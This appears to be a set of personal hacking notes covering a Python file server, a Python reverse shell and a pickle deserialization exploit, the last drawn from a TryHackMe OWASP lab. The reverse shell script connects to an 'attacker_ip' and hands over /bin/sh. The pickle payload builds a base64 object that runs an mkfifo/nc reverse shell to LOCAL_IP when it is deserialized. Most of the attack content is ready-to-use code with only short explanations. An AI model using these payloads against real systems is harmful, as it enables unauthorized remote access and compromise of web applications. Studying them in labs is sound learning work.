Quick-n-dirty web server

Quick-n-dirty Python web server

Python 3 can nativly serve files out of the current directory over HTTP.

python3 -m http.server $PORT

The default $PORT is 8080.

Some useful http.server flags:

--bind ADDRESS, -b ADDRESS
Specify alternate bind address [default: all interfaces]

--directory DIRECTORY, -d DIRECTORY
Specify alternative directory [default: current directory]

Link to original

A simple reverse shell

Python reverse shell

import socket
import subprocess
import os
 
attacker_ip = "10.0.0.1"
attacker_port = 1234
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
s.connect((attacker_ip, attacker_port))
 
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
 
subprocess.call(["/bin/sh", "-i"])

Catch it with netcat or socat.

Link to original

Exploiting python pickles

How to exploit Python pickles

One way to attack Python webapps is to exploit pickles, and in particular the pickle.loads() operation which reconstructs objects from an encoded data stream. When an object is reconstructed it is actually fully initialized, which means that things like object.__reduce__() are run.

For example, the TryHackMe’s OWASP Top 10 room has us use the following code to create a malicious base64 encoded object to feed pickle.loads() (LOCAL_IP gets replaced by your machine’s IP):

import pickle		
import sys		
import base64		
 
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LOCAL_IP 4444 > /tmp/f'		
 
class rce(object):		
    def __reduce__(self):		
        import os		
        return (os.system,(command,))		
 
print(base64.b64encode(pickle.dumps(rce())))

What’s getting encoded here is the rce class. Python will call rce.__reduce__() to determine how to initialize this class when pickle.loads() deserializes it, and __reduce__() will return the tuple (os.system, (command,)), where command is basically our standard Metasploit reverse shell. Python then initializes the class by using os.system to call command, and there’s our reverse shell!

Link to original